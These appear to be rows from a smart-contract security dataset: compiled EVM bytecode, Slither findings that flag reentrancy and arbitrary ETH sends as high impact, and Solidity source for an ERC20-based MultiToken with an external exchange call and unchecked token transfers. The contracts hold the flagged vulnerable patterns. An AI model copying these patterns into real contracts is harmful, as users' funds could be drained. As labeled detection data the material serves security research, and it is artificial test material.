31659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610467338484610c2d565b600c546001600160a01b0316336001600160a01b031614610a2057600080fd5b6000610a2b3061095d565b905061095a81611182565b6000546001600160a01b03163314610a605760405162461bcd60e51b81526004016103b790611a4e565b60008111610ab05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103b7565b610ace6064610ac8683635c9adc5dea0000084611327565b906113a6565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b7565b6001600160a01b038216610cf35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b7565b60008111610d555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b7565b6000546001600160a01b03848116911614801590610d8157506000546001600160a01b03838116911614155b15610fe257600f54600160b81b900460ff1615610e68576001600160a01b0383163014801590610dba57506001600160a01b0382163014155b8015610dd45750600e546001600160a01b03848116911614155b8015610dee5750600e546001600160a01b03838116911614155b15610e6857600e546001600160a01b0316336001600160a01b03161480610e285750600f546001600160a01b0316336001600160a01b0316145b610e685760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103b7565b601054811115610e7757600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb957506001600160a01b0382166000908152600a602052604090205460ff16155b610ec257600080fd5b600f546001600160a01b038481169116148015610eed5750600e546001600160a01b03838116911614155b8015610f1257506001600160a01b03821660009081526005602052604090205460ff16155b8015610f275750600f54600160b81b900460ff165b15610f75576001600160a01b0382166000908152600b60205260409020544211610f5057600080fd5b610f5b42600a611af3565b6001600160a01b0383166000908152600b60205260409020555b6000610f803061095d565b600f54909150600160a81b900460ff16158015610fab5750600f546001600160a01b03858116911614155b8015610fc05750600f54600160b01b900460ff165b15610fe057610fce81611182565b478015610fde57610fde47611079565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102457506001600160a01b03831660009081526005602052604090205460ff165b1561102d575060005b611039848484846113e8565b50505050565b600081848411156110635760405162461bcd60e51b81526004016103b791906119fb565b5060006110708486611b4a565b95945050505050565b600c546001600160a01b03166108fc6110938360026113a6565b6040518115909202916000818181858888f193505050501580156110bb573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d68360026113a6565b6040518115909202916000818181858888f19350505050158015610436573d6000803e3d6000fd5b60006006548211156111655760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b7565b600061116f611414565b905061117b83826113a6565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122c57600080fd5b505afa158015611240573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126491906117f8565b8160018151811061128557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ab9130911684610b09565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e4908590600090869030904290600401611a83565b600060405180830381600087803b1580156112fe57600080fd5b505af1158015611312573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113365750600061046b565b60006113428385611b2b565b90508261134f8583611b0b565b1461117b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b600061117b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611437565b806113f5576113f5611465565b611400848484611488565b80611039576110396005600855600a600955565b600080600061142161157f565b909250905061143082826113a6565b9250505090565b600081836114585760405162461bcd60e51b81526004016103b791906119fb565b5060006110708486611b0b565b6008541580156114755750600954155b1561147c57565b60006008819055600955565b60008060008060008061149a876115c1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cc908761161e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fb9086611660565b6001600160a01b03891660009081526002602052604090205561151d816116bf565b6115278483611709565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156c91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159b82826113a6565b8210156115b857505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115de8a60085460095461172d565b92509250925060006115ee611414565b905060008060006116018e87878761177c565b919e509c509a509598509396509194505050505091939550919395565b600061117b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103f565b60008061166d8385611af3565b90508381101561117b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b60006116c9611414565b905060006116d78383611327565b306000908152600260205260409020549091506116f49082611660565b30600090815260026020526040902055505050565b600654611716908361161e565b6006556007546117269082611660565b6007555050565b60008080806117416064610ac88989611327565b905060006117546064610ac88a89611327565b9050600061176c826117668b8661161e565b9061161e565b9992985090965090945050505050565b600080808061178b8886611327565b905060006117998887611327565b905060006117a78888611327565b905060006117b982611766868661161e565b939b939a50919850919650505050505050565b80356117d781611ba8565b919050565b6000602082840312156117ed578081fd5b813561117b81611ba8565b600060208284031215611809578081fd5b815161117b81611ba8565b60008060408385031215611826578081fd5b823561183181611ba8565b9150602083013561184181611ba8565b809150509250929050565b600080600060608486031215611860578081fd5b833561186b81611ba8565b9250602084013561187b81611ba8565b929592945050506040919091013590565b6000806040838503121561189e578182fd5b82356118a981611ba8565b946020939093013593505050565b600060208083850312156118c9578182fd5b823567ffffffffffffffff808211156118e0578384fd5b818501915085601f8301126118f3578384fd5b81358181111561190557611905611b92565b8060051b604051601f19603f8301168101818110858211171561192a5761192a611b92565b604052828152858101935084860182860187018a1015611948578788fd5b8795505b838610156119715761195d816117cc565b85526001959095019493860193860161194c565b5098975050505050505050565b60006020828403121561198f578081fd5b813561117b81611bbd565b6000602082840312156119ab578081fd5b815161117b81611bbd565b6000602082840312156119c7578081fd5b5035919050565b6000806000606084860312156119e2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2757858101830151858201604001528201611a0b565b81811115611a385783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad25784516001600160a01b031683529383019391830191600101611aad565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0657611b06611b7c565b500190565b600082611b2657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4557611b45611b7c565b500290565b600082821015611b5c57611b5c611b7c565b500390565b6000600019821415611b7557611b75611b7c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095a57600080fd5b801515811461095a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636552696368204d65737369616820496e75202d20742e6d652f726963686d657373696168696e75a264697066735822122030238d20253354bc91b9ee29fb064b54c320b6a09274b77484b685fe18b5e7c664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,179 |
0xB119791B3694fD4C851BDbf26a01B3cCC81aA670 | pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/BasicMultiToken.sol
contract BasicMultiToken is StandardToken, DetailedERC20 {
ERC20[] public tokens;
event Mint(address indexed minter, uint256 value);
event Burn(address indexed burner, uint256 value);
constructor() public DetailedERC20("", "", 0) {
}
function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public {
require(decimals == 0, "init: contract was already initialized");
require(_decimals > 0, "init: _decimals should not be zero");
require(bytes(_name).length > 0, "init: _name should not be empty");
require(bytes(_symbol).length > 0, "init: _symbol should not be empty");
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
name = _name;
symbol = _symbol;
decimals = _decimals;
tokens = _tokens;
}
function mintFirstTokens(address _to, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_mint(_to, _amount, _tokenAmounts);
}
function mint(address _to, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_);
}
_mint(_to, _amount, tokenAmounts);
}
function burn(uint256 _value) public {
burnSome(_value, tokens);
}
function burnSome(uint256 _value, ERC20[] someTokens) public {
require(someTokens.length > 0, "Array of tokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
for (uint i = 0; i < someTokens.length; i++) {
uint256 prevBalance = someTokens[i].balanceOf(this);
uint256 tokenAmount = prevBalance.mul(_value).div(totalSupply);
someTokens[i].transfer(msg.sender, tokenAmount); // Can't use require because not all ERC20 tokens return bool
require(someTokens[i].balanceOf(this) == prevBalance.sub(tokenAmount), "Invalid token behavior");
}
}
function _mint(address _to, uint256 _amount, uint256[] _tokenAmounts) internal {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
uint256 prevBalance = tokens[i].balanceOf(this);
tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]); // Can't use require because not all ERC20 tokens return bool
require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), "Invalid token behavior");
}
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
}
// File: contracts/ERC228.sol
interface ERC228 {
function changeableTokenCount() external view returns (uint16 count);
function changeableToken(uint16 _tokenIndex) external view returns (address tokenAddress);
function getReturn(address _fromToken, address _toToken, uint256 _amount) external view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256 returnAmount);
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
}
// File: contracts/MultiToken.sol
contract MultiToken is BasicMultiToken, ERC228 {
mapping(address => uint256) public weights;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _name, _symbol, _decimals);
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
require(weights[tokens[i]] == 0, "The _tokens array have duplicates");
weights[tokens[i]] = _weights[i];
}
}
function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
init(_tokens, _weights, _name, _symbol, _decimals);
}
function changeableTokenCount() public view returns (uint16 count) {
count = uint16(tokens.length);
}
function changeableToken(uint16 _tokenIndex) public view returns (address tokenAddress) {
tokenAddress = tokens[_tokenIndex];
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = toBalance.mul(_amount).mul(weights[_fromToken]).div(weights[_toToken]).div(fromBalance.add(_amount));
}
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
ERC20(_fromToken).transferFrom(msg.sender, this, _amount);
require(ERC20(_fromToken).balanceOf(this) == fromBalance + _amount);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
ERC20(_toToken).transfer(msg.sender, returnAmount);
require(ERC20(_toToken).balanceOf(this) == toBalance - returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function changeOverERC228(address _fromToken, address _toToken, uint256 _amount, address exchange) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
ERC20(_toToken).approve(exchange, returnAmount);
ERC228(exchange).change(_toToken, _fromToken, returnAmount, _amount);
uint256 realReturnAmount = ERC20(_fromToken).balanceOf(this).sub(fromBalance);
require(realReturnAmount >= _amount);
if (realReturnAmount > _amount) {
uint256 reward = realReturnAmount.sub(_amount);
ERC20(_fromToken).transfer(msg.sender, reward); // Arbiter reward
require(ERC20(_fromToken).balanceOf(this) == fromBalance.add(_amount));
}
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
}
// File: contracts/registry/IDeployer.sol
interface IDeployer {
function deploy(bytes data) external returns(address mtkn);
}
// File: contracts/registry/MultiTokenDeployer.sol
contract MultiTokenDeployer is IDeployer {
function deploy(bytes data) external returns(address mtkn) {
require(
// init(address[],uint256[],string,string,uint8)
(data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) ||
// init2(address[],uint256[],string,string,uint8)
(data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15)
);
mtkn = new MultiToken();
require(mtkn.call(data));
}
} | 0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461014d578063095ea7b3146101d757806315daab901461020f57806318160ddd1461026b578063182a5415146102925780631e1401f8146103a157806323b872dd146103cb578063313ce567146103f557806340c10f191461042057806342966c68146104445780634686b4be1461045c5780634f64b2be14610532578063503adbf61461056657806359f8714b146105825780635e5144eb146105ae57806366188463146105db5780636f5f535d146105ff57806370a082311461070e57806395d89b411461072f578063a7cac84614610744578063a9059cbb14610765578063c97ec03314610789578063d73dd623146107ba578063dd62ed3e146107de578063e82c6e8a14610805575b600080fd5b34801561015957600080fd5b5061016261086c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019c578181015183820152602001610184565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e357600080fd5b506101fb600160a060020a03600435166024356108fa565b604080519115158252519081900360200190f35b34801561021b57600080fd5b50604080516020600460248035828101358481028087018601909752808652610269968435963696604495919490910192918291850190849080828437509497506109619650505050505050565b005b34801561027757600080fd5b50610280610cd3565b60408051918252519081900360200190f35b34801561029e57600080fd5b506040805160206004803580820135838102808601850190965280855261026995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050923560ff169350610cda92505050565b3480156103ad57600080fd5b50610280600160a060020a0360043581169060243516604435610cee565b3480156103d757600080fd5b506101fb600160a060020a0360043581169060243516604435610eab565b34801561040157600080fd5b5061040a611010565b6040805160ff9092168252519081900360200190f35b34801561042c57600080fd5b50610269600160a060020a0360043516602435611019565b34801561045057600080fd5b506102696004356111b8565b34801561046857600080fd5b50604080516020600480358082013583810280860185019096528085526102699536959394602494938501929182918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050923560ff16935061121f92505050565b34801561053e57600080fd5b5061054a6004356114c3565b60408051600160a060020a039092168252519081900360200190f35b34801561057257600080fd5b5061054a61ffff600435166114eb565b34801561058e57600080fd5b5061059761151b565b6040805161ffff9092168252519081900360200190f35b3480156105ba57600080fd5b50610280600160a060020a0360043581169060243516604435606435611521565b3480156105e757600080fd5b506101fb600160a060020a03600435166024356119a0565b34801561060b57600080fd5b506040805160206004803580820135838102808601850190965280855261026995369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050923560ff169350611a9092505050565b34801561071a57600080fd5b50610280600160a060020a0360043516611ccb565b34801561073b57600080fd5b50610162611ce6565b34801561075057600080fd5b50610280600160a060020a0360043516611d41565b34801561077157600080fd5b506101fb600160a060020a0360043516602435611d53565b34801561079557600080fd5b50610280600160a060020a036004358116906024358116906044359060643516611e22565b3480156107c657600080fd5b506101fb600160a060020a0360043516602435612288565b3480156107ea57600080fd5b50610280600160a060020a0360043581169060243516612321565b34801561081157600080fd5b506040805160206004604435818101358381028086018501909652808552610269958335600160a060020a031695602480359636969560649593949201929182918501908490808284375094975061234c9650505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108f25780601f106108c7576101008083540402835291602001916108f2565b820191906000526020600020905b8154815290600101906020018083116108d557829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080600080600085511115156109c2576040805160e560020a62461bcd02815260206004820152601e60248201527f4172726179206f6620746f6b656e732063616e277420626520656d7074790000604482015290519081900360640190fd5b600154336000908152602081905260409020549094506109e8908763ffffffff6123da16565b33600090815260208190526040902055610a08848763ffffffff6123da16565b60015560408051878152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518781529051600091339160008051602061295b8339815191529181900360200190a3600092505b8451831015610ccb578483815181101515610a8357fe5b60209081029091018101516040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401938290030181600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b50519150610b2384610b17848963ffffffff6123ec16565b9063ffffffff61241516565b90508483815181101515610b3357fe5b6020908102909101810151604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a039092169263a9059cbb926044808401938290030181600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050506040513d6020811015610bcc57600080fd5b50610bdf9050828263ffffffff6123da16565b8584815181101515610bed57fe5b60209081029091018101516040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401938290030181600087803b158015610c3f57600080fd5b505af1158015610c53573d6000803e3d6000fd5b505050506040513d6020811015610c6957600080fd5b505114610cc0576040805160e560020a62461bcd02815260206004820152601660248201527f496e76616c696420746f6b656e206265686176696f7200000000000000000000604482015290519081900360640190fd5b600190920191610a6c565b505050505050565b6001545b90565b610ce78585858585611a90565b5050505050565b600160a060020a0383166000908152600760205260408120548190819081108015610d2f5750600160a060020a038516600090815260076020526040812054115b8015610d4d575084600160a060020a031686600160a060020a031614155b15610ea2576040805160e060020a6370a082310281523060048201529051600160a060020a038816916370a082319160248083019260209291908290030181600087803b158015610d9d57600080fd5b505af1158015610db1573d6000803e3d6000fd5b505050506040513d6020811015610dc757600080fd5b50516040805160e060020a6370a082310281523060048201529051919350600160a060020a038716916370a08231916024808201926020929091908290030181600087803b158015610e1857600080fd5b505af1158015610e2c573d6000803e3d6000fd5b505050506040513d6020811015610e4257600080fd5b50519050610e9f610e59838663ffffffff61242a16565b600160a060020a0380881660009081526007602052604080822054928b168252902054610b1791908290610e93878b63ffffffff6123ec16565b9063ffffffff6123ec16565b92505b50509392505050565b6000600160a060020a0383161515610ec257600080fd5b600160a060020a038416600090815260208190526040902054821115610ee757600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610f1757600080fd5b600160a060020a038416600090815260208190526040902054610f40908363ffffffff6123da16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610f75908363ffffffff61242a16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610fb7908363ffffffff6123da16565b600160a060020a038086166000818152600260209081526040808320338452825291829020949094558051868152905192871693919260008051602061295b833981519152929181900390910190a35060019392505050565b60055460ff1681565b600154606090600090151561109e576040805160e560020a62461bcd02815260206004820152603760248201527f54686973206d6574686f642063616e20626520757365642077697468206e6f6e60448201527f207a65726f20746f74616c20737570706c79206f6e6c79000000000000000000606482015290519081900360840190fd5b6006546040805182815260208084028201019091529080156110ca578160200160208202803883390190505b509150600090505b6006548110156111a757611187600154610b17856006858154811015156110f557fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b15801561114f57600080fd5b505af1158015611163573d6000803e3d6000fd5b505050506040513d602081101561117957600080fd5b50519063ffffffff6123ec16565b828281518110151561119557fe5b602090810290910101526001016110d2565b6111b2848484612437565b50505050565b61121c81600680548060200260200160405190810160405280929190818152602001828054801561121257602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116111f4575b5050505050610961565b50565b60055460ff16156112a0576040805160e560020a62461bcd02815260206004820152602660248201527f696e69743a20636f6e74726163742077617320616c726561647920696e69746960448201527f616c697a65640000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600060ff821611611321576040805160e560020a62461bcd02815260206004820152602260248201527f696e69743a205f646563696d616c732073686f756c64206e6f74206265207a6560448201527f726f000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b825160001061137a576040805160e560020a62461bcd02815260206004820152601f60248201527f696e69743a205f6e616d652073686f756c64206e6f7420626520656d70747900604482015290519081900360640190fd5b81516000106113f9576040805160e560020a62461bcd02815260206004820152602160248201527f696e69743a205f73796d626f6c2073686f756c64206e6f7420626520656d707460448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b835160021115611479576040805160e560020a62461bcd02815260206004820152603060248201527f436f6e747261637420646f206e6f7420737570706f7274206c6573732074686160448201527f6e203220696e6e657220746f6b656e7300000000000000000000000000000000606482015290519081900360840190fd5b825161148c906003906020860190612823565b5081516114a0906004906020850190612823565b506005805460ff191660ff83161790558351610ce79060069060208701906128a1565b60068054829081106114d157fe5b600091825260209091200154600160a060020a0316905081565b600060068261ffff16815481101515611